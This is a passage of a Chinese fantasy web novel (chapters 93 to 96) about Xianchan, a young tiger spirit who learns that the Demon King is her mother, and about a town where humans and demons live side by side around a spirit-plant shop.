之后她在塔里一边关注逆徒的魂火,一边又操心着远在异界的崽子。 感知到崽子回来后,路涉川就动用她身上那个封印,想喊她过来。 但谁知道她喊了几次衔蝉都没动静,气得路涉川当场就想把逆子吊起来打。 衔蝉嘟囔起来:“这就是你刚见面就拿威压压我还揍我的原因吗?还有没有母爱了!” 路涉川没说话,弹出一根指甲,衔蝉立刻抱着头闭嘴。 “我当时又不知道嘛。”衔蝉从心的靠墙蹲着:“我先前还以为我只是个平平无奇的小猫咪呢,哪敢来找你。” 她都不敢说先前她还打算想来加固封印,让妖王出不去呢 谁让虎妈在外的名声那么凶残呢,这怎么想也不能怪她吧。 衔蝉默默腹诽。 “那你还要在封印里待多久,铲屎官的魂火才能养好啊?” 路涉川:“如果你没来的话,还得再待百来年,但你来了,估计几个月就差不多了。” 衔蝉指着自己的鼻子:“啊?我?” “对,你。”路涉川上前一步,把崽子叼出了塔。 在台阶下的废墟里找了块相对平坦的土地,路涉川放下衔蝉,吩咐道:“以后你每天来这里催生一丛灵植。” “用你丹田里的灵力催生,不要直接抽取天地间的灵力。” 衔蝉很懵,但照做。 她把爪子按在地上,绿光闪过,一大丛红薯藤拔地而起。 路涉川当场就把红薯连根带藤的拔起来,掌心又冒出一簇蓝金色的火焰,包裹住了红薯和红薯藤。 红薯藤和红薯在火焰里不断的卷曲,缩小,最后凝结成了一颗绿色的丹药。 路涉川跳上塔顶,把练好的丹药往玲珑塔里一丢。 魂火马上燃高了一点,呼啦一下,吞噬了丹药。 丹药被魂火烧融后,魂火的火苗果然比先前大了一点点。 衔蝉顿时就明白了为什么虎妈要喊她过来。 不过这也让衔蝉想到了另一个问题:“妈,我的丹田好像变异了,这没事吧?” 她把自己丹田的异状一说。 路涉川变成人形,弹了衔蝉一记脑瓜崩:“那不是变异。” “混沌宝珠在你丹田里,跟你融为一体后自然会改造你的丹田。” 衔蝉:“哈?混沌宝珠?就是那个,传说中的引起两族大战的至宝?” “对。” 路涉川的神情放松了一点,她支起一条长腿坐在衔蝉身后,将她圈在身前。 “你出生的时候,混沌宝珠就与你共生了。” 当时还引发了极其壮观的天象,人族妖族都为之震动。 妖王之子生来自带至宝的消息一下子就传了出去。 后来的事情衔蝉也听过好几次了。 为了争夺这个可以从根源上解决灵气衰退的宝贝,两族开始了战争。 因为宝珠虽然能源源不断的恢复一方天地的灵气,但世界那么大,宝珠修复天地的速度又有限,谁都想让自己的家园先恢复。 可路涉川是那种会为了异族贡献出崽子的傻白甜妖吗? 她毫不犹豫的选择了与人族开战。 不论是为了崽子,还是为了妖族,她都不能让衔蝉落到人族手里! 所以她给衔蝉下了能隐藏身份的封印,又不惜散去数百年修为将她的神魂送去异界避难。 这样即便妖族败了,人类也得不到她,和与她共生的混沌宝珠。 衔蝉听得眼睛睁得溜圆:“原来是这样!” 难怪她做出的食物和催生出的植物都自带灵气,也难怪灵霄说“共享资源”的时候虎妈会当场勃然大怒! 因为她就是那个资源! 没有哪个母亲能接受把自己的崽子当做资源与异族共享的。 衔蝉大为感动,原来虎妈的母爱一直在线的!是她误会她了! 第93章 “你那是什么眼神, 好恶心。” 看到衔蝉一脸动容的肉麻样,路涉川想也没想又一巴掌拍飞了崽子。 衔蝉:“” 母爱是有的,但不多。 灰头土脸的从地上爬起来, 衔蝉拍了拍身上的灰, 坚强的再次回到虎妈身边。 “哎,好吧, 不说别的了,妈, 那我先回去一趟跟大家报个平安再来啊。” “对了妈,我要怎么回去?” 路涉川指了指通往王庭城门口的方向:“那里有传送阵。” 从传送阵里出去,就能抵达从前的妖族各大城市,但具体能到达哪一个,得看还有哪些城市的传送阵是完好的。 衔蝉:“那不行!我要去雪狐族里先把阿琅接回去。” 虽然先前是想跟阿琅一起在雪狐族里搞点事情挖点墙角啦, 但这不是出了亿点点意外吗。 而且现在得知了自己真实身份的衔蝉已经不再忌惮小小的雪狐族了。 有凶残的虎妈在,她想去雪狐族横着走都没问题! “欸等等,妈,你还记得雪狐族吗?”衔蝉扭头看向虎妈。 路涉川果然陷入了沉思。 “什么雪狐族?” 衔蝉:“就你以前很器重的那个种族啊,据说以前你经常召唤她们的族长来你身边的。” 路涉川:“嗯,好像是有点印象, 你再细说说?” 衔蝉:这压根就是没想起来吧! 可怜的雪狐族, 居然都没被记住吗?! 说好的器重呢?! 看来传说也不可尽信啊! 衔蝉唏嘘了一会:“哎!真不记得了啊?就是那个狐狸族啊,全族都是白色的狐狸, 很好认的。” 路涉川恍然大悟,这下想起来了:“哦!你是说枕头啊!” 衔蝉:等等,什么玩意儿? 路涉川:“你不说我差点忘了,你回去顺手再给我薅两个枕头来吧,要白一点, 蓬一点的。” 她以前那个枕头可好睡了,是全枕头族里最蓬松的一个,而且还自带催眠效果,枕起来非常舒适。 可惜后来她也没了唉。 后来的枕头也不如她,不仅不如她蓬松,还不听传召,让本就因为人族的事情生气的路涉川更气了。 要不是当时她实在走不开,她真想马上过去揍死那些不听话的预备枕头。 有了对比之后,路涉川才更觉得原来的枕头好,她这些年在塔里,可没少怀念过她呢。 见虎妈一脸理所应当的样子,衔蝉不由得无语凝噎,并悄悄为雪狐族点了根蜡。 合着“颇受妖王器重”就是经常来给虎妈当枕头啊!真是倒霉催的! 但话又说回来,疑似是雪狐族的阿琅确实也很好睡,毛蓬蓬的,又很软乎。 以前大家挨在一个窝里睡的时候衔蝉就可喜欢把下巴搭在阿琅身上了。 这么说的话好像确实也很枕头了,嘶。 衔蝉拍了拍脑袋,让自己住脑。 “算了算了,枕头就枕头吧,可是妈,现在枕头族还挺厉害的呢,你让我去薅人家族里的狐狸来,我还不一定能成功呢。” 路涉川立刻用“这么菜的崽子真的是我亲生的吗”的眼神瞥了衔蝉一眼。 衔蝉憋着一口气:“我才刚开始修炼没多久!” 所以不是她菜,她只是经验不足! 路涉川“哦”了一声,随后丢给衔蝉一根她换下来的指甲。 这根巨虎指甲几乎有衔蝉人形的小臂那么长,整体呈弯钩状,锋利的爪尖上还隐隐闪烁着冷兵器似的寒光。 “你拿着这个,去枕头族里,她们闻见我的气息就会乖乖的听你的话了。” “要是她们不听话,你就揍她们,有我的气息压制着,她们还不了手的。” 衔蝉:彳亍。 她捏着这根指甲就要习惯性的往镜中镜空间塞。 塞到一半的动作却卡住了。 “妈,你还记得铲屎官还是灵霄的时候炼的那个八卦镜吗?” 路涉川点点头。 衔蝉又道:“我后来得到了那个八卦镜,发现里面还有个镜中镜,可以用来装东西。” 路涉川:“嗯,然后呢?” “然后现在它打不开啦,是不是你设了什么禁制啊?” 衔蝉举着那根巨大的指甲晃了晃:“我想把它装进镜中镜里,不然一直扛着不方便。” 路涉川:“这不关我的事,是那些人族降妖师刻下的禁制。” 为了封印她,人族降妖师在高塔这边设下的禁制足有上百条之多。 其中各种功能的都有,封禁空间类法器的想必也不缺。 “你离这边远点就可以了,那些禁制的范围不算大。” 衔蝉:“噢!好的吧。” 她抱着虎妈换下来的指甲站起来,这就准备走了。 “妈,去枕头族里的传送阵在哪啊?她们那边有奉王碑,王庭这边跟奉王碑连接在一起的传送阵是哪个?” 路涉川又沉思了一会。 以前她召唤枕头的时候,一般是在哪来着? 等等,以前都是枕头收到传召后自己走来见她的啊。 她们好像是有个传送阵,如果没记错的话,应该是能传送到距离她十里之内的地方? 路涉川手一摊:“我只能告诉你她们的传送阵可能在王庭里。” 因为这座塔离王庭中央也就几里路,吧。 衔蝉闻言深吸一口气。 她怎么感觉虎妈一点都不靠谱呢! 但这话不能说出来,不然又要挨揍,啧。 面对虎妈的铁拳,衔蝉只能唯唯诺诺的自己抱着指甲去王庭里挨个找传送阵了。 这回没了虎妈的威压,衔蝉在王庭里的行动都很顺利,没多久就在她捡到晏舒寒的位置附近找到了一个碎了一小半的石碑。 看着那个跟雪狐族的奉王碑很是相似的石碑,衔蝉毫不犹豫伸出手。 她像之前触碰奉王碑那样碰了一下那个石碑。 石碑果然亮起,将衔蝉吸了进去。 衔蝉只感觉眼前一花,就换了个地方。 再定睛一看,这不是雪狐族里又是哪里? 还有这么多雪狐都在呢! 咦,雪狐们为什么都在? 衔蝉抱着虎妈的指甲,有点茫然的跟一大群雪狐大眼瞪小眼。 雪狐们看上去似乎刚打过一场群架,每个雪狐身上的毛毛都是凌乱的。 放眼望去一大片白绒绒,衔蝉甚至分不清谁是谁。 她清了清嗓子,正要说点什么,忽然却见雪狐们像是被按下了什么控制按键一样,齐刷刷的扑通一声跪了。 胡二抱着尾巴瑟瑟发抖。 这个莫名其妙消失了又莫名其妙回来的衔蝉手里拿着的是什么?! 为什么他会觉得像是被谁扼住了喉咙一样,忽然就动不了了呢?! 那种仿佛被某种极其恐怖的存在锁定了的危机感,让在场的每一个雪狐都脊背发凉,毛发都炸开了。 路涉川的指甲上源源不断传出的妖王气息,把一群雪狐压得抖如筛糠,一声都不敢吭。 只有一些年纪大的雪狐对此适应良好。 这熟悉的压迫感! 一定是妖王陛下出来了! 几个年纪比较大的雪狐硬着头皮顶着恐怖的威压膝行上前几步,声嘶力竭的大喊:“妖王陛下万岁!” 衔蝉瞬间体会到了狐假虎威的快乐。 不对,她不是狐狸,她也是小老虎了! 衔蝉挺直了脊背,举起指甲大声宣布:“妖王陛下有令,让你们雪狐族以后都听从东坡子洞的调遣!” 嘿嘿,让她先夹带点私货。 但这么说其实也没问题。 因为雪狐族臣服于虎妈,四舍五入不就等于臣服于她,再四舍五入不就等于臣服于东坡子洞嘛! 衔蝉说得理直气壮,几个大喊“妖王陛下万岁”的老雪狐也没有异议。 但胡二那一群雪狐却欲言又止。 怎么感觉有哪里不对! 奉王碑不是他们雪狐族的吗,为什么是她一个外猫进了奉王碑,还得到了妖王信物?! 他们的族长都没这待遇!现在还不知道在哪呢,都好久没回来了! 胡二颤巍巍的站起来:“衔蝉小友!能否先放下信物,借一步说话?” 衔蝉瞪了胡二一眼。 “不用借一步,有什么话就在这说清楚,对了,我家阿琅呢?我不在这几天你们有没有欺负她?!” 她一副随时准备好要给阿琅撑腰并且帮亲不帮理的样子,还举着虎妈的指甲,用爪尖把胡二戳了个趔趄。 胡二:“” 胡二很想跳起来骂衔蝉,但虎爪上的威压压得他直喘气,站起来的时候腿都在抖。 这说明不管衔蝉是怎么得到的这信物,但这的确的妖王信物没错。 只有妖王亲赐的信物才能有如此可怕的威压。 那种被血脉压制的恐惧感,是雪狐族和别的妖族臣服于妖王最大的原因。 于是胡二只好憋屈的跟衔蝉解释:“小友放心,阿琅好着呢,没有狐欺负她。” “我们已经查明了她是我们雪狐族上上代族长那一支的后裔,哦对了,她娘就是上上代族长。” “所以现在她已经上了我们雪狐族的族谱了,这些天她还一直在为了你的事情奔走呢。” 衔蝉被奉王碑吸走的消息传到阿琅耳朵里的时候,刚上了族谱的小狐狸顿时就急了。 她不顾同一支雪狐族胞的劝阻,说什么也要去找胡二理论,让他把衔蝉还回来。 胡二当时也很懵,他哪知道要怎么把衔蝉弄回来哦! 从前奉王碑都只在妖王传召时亮起,是进还是出都不由他们雪狐族说了算的。 胡二就只好跟阿琅说,不是他不想把衔蝉还回来,而是衔蝉已经被妖王陛下召唤过去了,要想找她回来,就只能去找妖王陛下。 “所以,前两天她就已经独自往妖族王庭去了现在应该已经走到雪狐领地的边缘了。” 衔蝉:“!!” 第94章 听说阿琅孤身一狐去找她了, 衔蝉连忙让雪狐们去把她找回来。 雪狐们一听衔蝉的命令,顿时分作三派。 一派是以阿琅那一支老雪狐为首的,她们自始至终都是妖族里的“保王派”, 此时当然对衔蝉的命令也没有异议。 在这一支雪狐看来, 她们都是妖王陛下的忠臣,现在衔蝉既然带来了妖王信物, 那她们自然要听衔蝉的号令。 另一派以背叛了妖王和上上任族长的上任族长那一支为首,胡二也在这一派之内。 这一派的狐狸认为既然已经抛弃了旧主, 就不应该再吃回头草。 毕竟谁都知道妖王陛下脾气暴躁,又最恨叛徒。 就算现任族长是中立派,也挽救不了雪狐族里还有一支叛徒的事实。 叛徒们都害怕被清算,当然不想看到妖王重新出关,更不想听持妖王信物的衔蝉的命令。 最后一派则是雪狐数量最多的墙头草派, 这会他们也懵呢,暂时没表态站队。 他们决定先观望观望。 衔蝉并不知道雪狐族里情况这么乱,她只知道她仗着虎妈的威信下令后,只有一小部分雪狐应下了她的命令。 那一小部分雪狐当即就欢天喜地的去张罗着找阿琅回来了。 阿琅本就是她们那一支的崽子,妖王陛下回归在即,她们当然要把崽子找回来共商大事啦! 而且阿琅跟手持妖王信物的衔蝉关系颇好, 说不定阿琅将来也能像她娘那样, 受到妖王陛下重用呢! 到时候她们这一支雪狐又要重回巅峰啦! 奉王碑下的雪狐走了一小半,还有一大半还在跟衔蝉大眼瞪小眼。 衔蝉:“你们还愣着干嘛, 该干嘛干嘛去啊!” 留下的雪狐们纷纷扭头看向胡二。 胡二清了清嗓子,想说点什么,却见衔蝉又举起妖王信物,威胁似的晃了一下。 胡二当时就把原先的话咽了回去。 “咳咳,既如此, 那我们就先告辞了?” 本来他们就是因为奉王碑出现异常的事情聚在一起又打起来的,现在看来奉王碑好着呢,他们也没必要再继续打了。 有什么事,还是拿到私下去说吧。 不然让外猫看了笑话,多不自在。 当然,那外猫手里压迫感极强的妖王信物也是原因,之一。 雪狐们一哄而散。 衔蝉被阿琅那一支雪狐里的一只老雪狐毕恭毕敬的请到了她们现在的族地里。 那里虽然远离雪狐族的权力中心,但底蕴还在,领地范围也不小。 正好阿琅要往岭山深处去找衔蝉时走的也是那边的路。 衔蝉跟着她们来到了这一片景致清幽的领地上,很快就等到了被火速追回来的阿琅。 小狐狸一看到好些天没见的衔蝉,嗷的一声就扑过来了。 “大王!师姐!!你终于回来了!你没事吧?!” 衔蝉扎了个马步稳稳接住炮弹一样发射过来的小狐狸,任由她使劲嗅闻自己的气味。 “我没事,我回来了,阿琅别着急。” 白绒绒的小狐狸又长大了一圈,在衔蝉身边却还是显得那么小。 阿琅鼻子抽抽了一下:“大王,你的味道怎么好像有点变了,又好像没变。” 人形的衔蝉:“嘿嘿,给你变个魔术。” 她放下激动得尾巴都摇起来了的小狐狸,当着她的面摇身一变,噗的一声变成了威风凛凛的小白虎! 阿琅眼睛都睁圆了:“大王!你怎么变成老虎了!” “不是变成老虎,是原本就是老虎。”小白虎走到小雪狐身边舔了她一口。 “这是一个很复杂的故事。” “简单的来说就是我找到我亲娘啦!她帮我变回了原来的样子。” 小白虎圈着小雪狐,把这些天的经历跟她细细说来。 “你知道吗,我娘居然就是那个传说中很凶残的妖王诶!” “虽然她确实和传说中一样凶残,但总的来说也还好啦,她为了保护我还在我身上下了能隐藏我身份的封印呢!” “所以之前我一直在当猫,一直在睡觉” 阿琅越听眼睛越亮,悬着的心终于放下了。 她一蹦三尺高:“那我这就回去告诉大家这个好消息!” 这些天她一直在跟雪狐们周旋,想借他们的力量找回衔蝉,还没来得及告诉东坡子洞的大家这个坏消息。 她既担心衔蝉再次失踪的消息影响洞里的士气,又担心胡二那一派雪狐会趁机对东坡子洞不利。 衡量许久后,她选择了自己扛下一切。 如果雪狐们不肯把衔蝉还回来,她就自己去找衔蝉,说什么也要把她找回来。 但万幸的是衔蝉自己完好无损的回来了。 还带回来这么大一个好消息。 她居然是妖王之子! 而且妖王陛下马上就能出来了! 东坡子洞,很快就要再迎来一位妖王太上皇了! 阿琅开心极了,当即就要回去把好消息告诉大家。 衔蝉也是这么想的。 “你先回去跟大家说说,我就暂时不回去了。” “我接下来每天还要回封印那给我娘催生灵植呢,洞里的事情就先交给你们了哦!” “还有雪狐族里这些事暂时也不用管了,等我娘出来了他们就都老实了!” “对了,他们这些天没欺负你吧?” 阿琅摇头:“没有,我娘那一支的雪狐还对我很好。” “当初我娘战死,我也流落在外面,她们一开始都不知道我的存在的。” “但是后面我们用了秘术追溯血脉,确定了我就是我娘的崽子。” 小狐狸的声音低了几分:“原来我娘没有抛弃我,她只是” 衔蝉一把搂住阿琅,使劲给她舔了舔头毛。 “别难过了阿琅,以后我娘就是你娘!” “而且偷偷告诉你喔,你娘跟我娘关系很好的!真的!她们还跟我们一样睡过一个窝呢!” “我娘还说你娘很好,她也很想她的!” 虽然其中一个是以枕头的身份进的窝啦但这睡同一个窝的交情是真的! 虎妈亲口承认了她很怀念阿琅的娘呢! “真的吗?”小狐狸顿时心情好多了,她眼睛亮晶晶的抬起头:“她们关系很好,就像我们这样?” 衔蝉心虚了一秒,然后用力点头:“嗯呐!” 再想起虎妈让她再找个枕头回去的交待,衔蝉更心虚了。 她心想,不行,不能让阿琅过去当枕头。 虎妈那么凶残,阿琅怎么禁得起她一巴掌哟! 想到这里,衔蝉偷偷跟阿琅咬耳朵:“阿琅,如果我说我娘想要再找个跟你娘有点像的替身怀念她,你会不会生气啊?” 阿琅想了想,摇摇头。 “不会的,要是我娘还活着,知道好朋友还在想念她,她肯定也会开心的。” 因为要是换成她,她就会那么想。 对新朋友好是因为她身上有故友的影子,作为那个故友,阿琅会觉得很高兴。 衔蝉:猫弥陀佛,心虚程度再加一百,当枕头这苦差事绝对不能坑到阿琅头上! 不然她要是得知了真相该多难过不行,回头还要想办法跟虎妈串个供。 今天她就要把这份友谊钉死在棺材板上! 努力压下心虚,衔蝉又问阿琅:“那我今天就在雪狐族里选一个雪狐跟我一起去我娘那?” 阿琅点点头:“好哦。” “那你可以选我们这一支的雪狐,据说我有个表姨姨长得跟我娘就很像。” 衔蝉郑重其事的点点头:“好!那我等会就去找你姨姨!” 阿琅:“嗯呐,那我现在就回东坡子洞去?你什么时候可以回来呀?” 衔蝉:“最迟不出半个月我就跟我娘一起回来啦!” 阿琅:“好的!” 小狐狸高高兴兴的爬起来,准备回东坡子洞去了。 衔蝉目送她离开,扭头又按照阿琅的交待,去找了她的表姨胡英。 胡英一听妖王陛下居然因为思念她表姐而召唤她过去侍奉,顿时感性的红了眼眶。 “我就知道,表姐的忠诚陛下也是看在眼里的!” 蓬松的大狐狸一拍爪:“既然如此,我当然要替表姐继续效忠陛下!” 衔蝉:“” 为什么她忽然觉得虎妈有点渣渣的。 算了,不想这个了!先把胡英带过去再说啦! “咳咳,胡英姨姨,我们走吧。”衔蝉连忙招呼胡英跟她一起去奉王碑。 这就是她暂时不能离开雪狐族的原因了。 回了东坡子洞,衔蝉再想回去找虎妈就很困难了。 只有留在雪狐族里,才能用奉王碑来回跑。 另一边。 东坡子洞里,一切如常。 衔蝉失踪的消息并没有传回来,因此大家仍在各司其职。 看到小狐狸独自一个回来了,白三姑她们还很担心。 “阿琅,怎么就你回来了?大王呢?” “大王没事!大王要再过半个月才回来!” 小狐狸大声向大家宣布:“这次去雪狐族,我和大王的身世都弄清楚啦!” “我娘跟大王的娘是好朋友,大王的娘就是妖王陛下!” “大王现在已经恢复了真正的原型,半个月后就要带着妖王陛下回东坡子洞!” “以后咱们洞里就要有两位厉害的太上皇了!” 此言一出,所有东坡子洞的成员都倒吸了一口凉气。 “什么?!大王的娘亲居然是那位传说中的妖王陛下?是我知道的那个妖王陛下吗?” “天哪天哪,咱们东坡子洞是不是要发达了!” “快快快,写信告诉太上皇和风妧还有三参她们,让她们也不要错过这个好消息!” 在一众激动的东坡子洞成员中,有一位激动得格外明显。 玄蛛当场就换上了盔甲,像是要接受检阅一样。 “所有妖兵听令!接下来半个月都给我狠狠的操练!一定要让妖王陛下看到我们最优秀的一面!!” 第95章 东坡子洞的好消息很快就从山上传到了山下。 在山下当掌柜的三参开心得嗷的一声就跳了起来, 当场就决定今天闭店一天,回山上去详细问问! 店里的客人们连忙挽留她。 “什么?要闭店?!不要啊掌柜的!” “三参掌柜,别闭店呀, 生意不能停呀。” “是啊是啊, 现在咱平安镇上至少一半的人都指着你们店里的灵植过活呢。” “没错,自从买了你们店里的灵植后我这力气就大得嘞, 我一个人都能去搬货养活我两个姑娘,再不用想二嫁的事了!” “我也是, 吃了店里的灵植,我一个能当五个男人用,去哪上工都能拿好几份工钱!” “现在咱们走在街上,也不再害怕遇到坏人,反而是坏人要害怕遇上咱们!” “是咧!自从镇上有了灵植店之后, 镇上那些二流子都老实了,再不敢当街调戏女人了!” “因为他们不知道他们想欺负的女人有没有吃过灵植,能不能一巴掌把他们打进墙里!” “哎,真幸好三参掌柜从不卖灵植给那些坏家伙!” “谁让他们当初都跟着林时欺负过阿琅她们呢!活该的!” 客人们你一言我一语,把三参说得腰板都挺直了。 这段时间镇子上的变化太明显了,所有人都看在眼里。 首先是路上的女人越来越多, 各个店铺, 码头,田庄上的女工也越来越多。 第一批买到灵植的都是女人, 她们的变化自然也最大。 现在平安镇上,雇佣女人已经不再是稀奇事了。 其次是镇上的妖精也越来越多。 从山上下来的小妖们有时候就露着原型,或是顶着没变完的耳朵尾巴,也没有人对她们指指点点。 当然小妖们也老实,不会在镇上闹事。 人和妖共同生活在这个小镇子上, 相处融洽得好似一家。 偶尔出现了坏人和坏妖,大家还会齐心协力打跑坏人坏妖,并不分什么种族之见。 不再有人一杆子打死所有妖,大家都知道,妖和人一样,有好有坏。 这样的场景,时常让外来人诧异不已。 嗯,镇子上最后一个变化就是外来客越来越多。 都是专程来买灵植的。 远道而来的客人们有普通人,也有降妖师,甚至还有从更远的山里来的小妖。 外来的普通客人是冲着灵植有病治病没病强身来的,也有特别有钱的顾客单纯觉得灵植味道好,好吃。 降妖师们当然就是冲着灵植能帮助修炼来的。 有些降妖师刚来的时候不清楚情况,还想在平安镇上降妖,甚至还想收了三参她们。 但被大家合力揍上两顿扔出店里并不许他们再进店后,他们就老实了。 这部分人里有恼羞成怒的,也有怀恨在心的,但现在灵植店已经成了全平安镇的宝藏店,谁想去店里闹事,大家都不答应。 而外来的小妖们也有不懂规矩的,有的身上没有银子,就想投靠三参,企图吃白食。 但被三参她们教育提点一番后,外来小妖们就打开了新世界的大门。 她们用自身的优势,在平安镇上摆摊卖货,赚到银子再去买灵植。 有了这些外来小妖,平安镇上的人们又多了很多能买到神奇物件的渠道。 蛇妖亲口吐出的蛇毒制成的膏药,蝙蝠妖亲自拉的夜明砂,兔子妖换下的兔毛,果树妖自己结的果子 还别说,这些妖的生意还挺好,大家都挺乐意去买的。 有的妖还无师自通了营销概念,比如有个竹子妖搬来一盆土,自己用原型蹲土里然后当街叫卖它催生的竹笋 客人们问它这竹笋是不是它的崽子,它就答曰,没开智的都不算。 客人们觉得十分新奇,真在它那买了不少笋子。 于是如今的平安镇里,你走在路上,看到的可不全是人。 有衣着普通的凡人,有奇装异服造型古怪的妖精,也有穿各色道袍的降妖师。 热闹极了。 但全平安镇最热闹的地方永远是风府门口的灵植店,常年都有顾客排着队。 而灵植店的货源也稳得很,从没缺过货断过货。 有顾客就好奇了,山上到底种了多少灵植,才供得起每天这样往外卖呀? 这时候去山上帮忙修过桥铺过路盖过房子的工人们就出来告诉大家,山上的田多着呢! 十几座山头,每座山上都有大片大片的灵田! 客人们一听,瞬间就放心了,再也不担心自己买不着灵植了。 于是现在去灵植店里买灵植,已经成了镇上居民的日常了。 灵植虽贵,但普通人只需要吃一点点,效果就特别明显。 算下来的价格,大家也不是承受不起。 就这样,平安镇上的种种变化,渐渐随着外来客的来往传了出去。 如今平安镇也算是个远近闻名的富裕镇子了。 镇上的普通人都能靠着开客栈或者卖些吃食接待外来客,赚得盆满钵满,根本不愁没银子买灵植。 搬来镇上的普通小妖们也找到了自己的营生之道,逐渐习惯了与人类做友邻。 可以说这些变化都是灵植店带来的。 所以大家对灵植店的感情特别深,一听到三参说要闭店,大家都急坏了。 三参连忙摆手告诉大家:“不是闭店不干了,只是我们要回山上一天,明天还回来照常开店的,大家不要慌!” 她撒了个善意的谎言:“我们回山上去,给大家搬更多灵植下来呀!” 客人们这才拍了拍胸口:“原来是这样,吓死我们了。” 刚刚三参在柜台里,大家只依稀听到一句闭店,以为灵植店以后就不开了呢。 现在三参这么一解释,大家顿时就松了一口气。 “好的好的,那三参掌柜你们回去吧,我们送你们一程?” 三参笑嘻嘻的摇头:“不用啦,谢谢大家的好意,我们很快就回来的!” 客人们齐齐朝她们挥手告别:“那明天见!” “明天再见!” 三参关上店门,又拿出风朔从天都寄来的符纸,贴在店门口。 这样就相当于给灵植店上锁了,只要法力在风朔之下的降妖师或者妖,都别想破开店门。 而法力在风朔之上的降妖师对不起,暂时没有。 重回天都的风朔一直跟大家保持着联系,大家都知道,现在太上皇的双腿已经彻底好了,又是当年那个意气风发的顶尖降妖师了! 风妧跟着她也进步极快,据说风妧已经在偷偷琢磨着等自己修为反超衔蝉后回来当大师姐呢。 但她不知道,衔蝉的进步也很大。 嗯,有亲娘手把手教导的孩子,进步就是超快的。 “走喽!回家看看去!”三参带着灵植店的所有员工,快乐的踏上了回家的路。 “咱已经好久没回家了,不知道家里怎么样了?” “大王马上要带着太上皇陛下回来了,家里肯定更好了呀!” “我怎么感觉好像在做梦一样,那位传说中的妖王陛下,真是咱们太上皇啊?” “山上的传讯纸鹤是这么说的!” “哇!那咱们以后得多威风呀!想想就高兴!” 小妖们说说笑笑的上山,迫不及待回去向白三姑求证这个好消息。 白三姑为三参她们办了一个热闹的接风宴。 “这些天你们在山下看店辛苦了!大王说等她和太上皇回来了,还要嘉奖你们呢!” 三参叉腰就笑:“哈哈哈!那敢情好!” 随后又问:“大王和太上皇陛下什么时候回来?太上皇陛下长什么样?她真的很凶吗?” 白三姑笑叹一声:“咱们也不清楚呢,大王说太上皇陛下还在封印里,再过半个月才能出来。” 三参:“噢,好吧。” 她转头又跟小狐狸咬耳朵:“阿琅,听说你的身世也弄清楚了?” 阿琅点点头,很高兴的跟小伙伴分享了在雪狐族里的见闻。 包括她娘和大王的娘曾经是好朋友的事情,都细说了一遍。 山上的大家已经听阿琅讲过好几遍了,但现在大家还是听得很认真。 因为这样一个充满了传奇和缘分的故事,大家怎么听都听不腻。 尤其是白三姑,听一次笑一次。 她也没想到哇,她随手捡回来的两个小妖居然真的都是大妖后裔! 她心里一边骄傲,一边又为衔蝉和阿琅高兴 平安镇上。 三参宣布闭店一天后,灵植店门口排队的顾客们就陆续散去了。 三参说了明天还会回来,大家跟她相处久了,都知道她是说话算话的,便放心的回家,准备明天再来。 反正大家这段时间在店里没少买灵植,家里的存货再坚持一天不成问题。 而且灵植吃多了的人和妖都发现自己的身体越来越好,不用天天吃灵植也不会掉状态。 大家每天都去排队只是因为习惯了。 客人们陆续离开,但她们刚走没多久,镇上就又来了一群风尘仆仆的客人。 都是身穿道袍腰悬令牌的降妖师。 她们一来,就跟人打听,这平安镇上是不是有一家灵植店? “有的有的,看你们的打扮,是降妖师吧?也是来买高阶灵植的?那你们来的不巧了!” “三参掌柜她们今天闭店一天,回山上拿货去了,明天才回呢!” “你们要是不急,就先在镇上找家客栈住着等明天吧!” “什么?我为什么知道?我当然知道!” “不光我知道,咱全平安镇的人和妖都知道!” “啊,我们镇上是有妖怎么啦?人家又不是坏妖,咱们都是邻居呢,你们做什么大惊小怪的!” 被拉着问路的大娘警惕的看着这些降妖师:“我可告诉你们啊,在我们平安镇不兴什么种族之见的!” “你们想降妖没问题,降坏妖去,可不能欺负好妖,不然三参掌柜她们回来了,也不卖灵植给你们的!” “哦,我们三参掌柜她们也是妖呢。” 第96章 从天都赶来的降妖师们都懵了。 自从接到总堂主晏舒寒的命令后, 她们几乎就一直懵着。 去平安镇找灵植店这个命令本来就够离奇的了,更离奇的是,这小镇子上还真有那么一家灵植店! 这真是怪了, 这一路上, 她们从天都往外走,看到的景象都是离天都越远的地方就越穷。 但快要到平安镇时, 原先的穷困之景却陡然一变! 这附近几个镇子上的居民都有着与她们阶级不符合的好气色和好身板,完全没有那种被生活压垮的苦相。 再一问就更奇了, 让她们有这样好气色好身体的居然是灵植! 天都来的降妖师们非常懵,灵植这么珍贵的东西,什么时候烂大街到凡人也能轻易买到了? 追问下去,她们才知道,一切都跟晏舒寒让她们来查的那家灵植店有关。 正是因为有了那家灵植店, 才让附近几个镇子上的居民生活变化如此之大。 这时候天都的降妖师们就默默算了一下,能供得起好几个镇子的凡人时常购买的灵植田得有多大。 最后得出的结论让所有人都瞠目结舌。 如果这些镇子上的人没撒谎的话,那这平安镇上藏着的灵田怕是比天都最有底蕴的灵植培育世家的家底还厚! 算出这样的结果后,所有的天都降妖师都不敢相信。 她们加快速度,赶到了平安镇。 然后就又看到了另一个奇观。 这里的人居然和妖精混居! 更让人无法想象的是,那灵植店甚至都是一群妖精开的! 关键镇上的居民还对此接受良好, 跟别的妖精邻居也处得相当融洽。 这简直不可思议。 要知道, 在外面,人和妖之间那可真是隔着血海深仇, 彼此之间都是要不死不休的。 有些人的亲友被妖精吃了,对妖精恨之入骨,有些妖的族胞被人类收了,对人类也是恨不得屠之而后快。 对大部分人和妖精来说,这样的态度才是对彼此的常态。 可在平安镇, 却完全不一样! 妖精大大方方的走在街上,既不吃人,又不作恶,还会跟人类一样做工养活自己。 人类也丝毫不怕这些妖精,甚至还敢撸起袖子跟妖精摊主杀价,一点都不担心自己惹怒了妖精会被吃掉。 更让天都的降妖师想象不到的是,这镇子上的人类对妖精的“好坏”自有她们的看法。 她们并不会因为个别的坏妖就对所有妖精一杆子打死,也不会因为镇上都是好妖就对所有妖精都抱有好感。 她们非常务实的只信任那些“好妖”,并和痛恨同族的坏人一样痛恨坏妖。 天都来的降妖师们简直不知道该如何形容自己的心情。 她们默默地把所见所闻都如实记录下来,再抱着半是好奇半是探究的心情,打听起了那家引起了一切变化的灵植店。 但很不巧,她们来的这一天,灵植店刚好闭店。 于是她们只好在平安镇暂住一天,等待着灵植店重新开门。 等了一天后,那家灵植店终于如约开门了。 天都的降妖师们连忙跑去一探究竟,却没想到差点没挤进去。 排队的人多到能绕镇子半圈。 看着那长龙般的队伍,天都的降妖师们心里一紧。 坏了,不会轮到她们的时候,灵植就已经卖完了吧? 然而这次她们是幸运的,那家灵植店的货源居然比她们估算的还要稳得多。 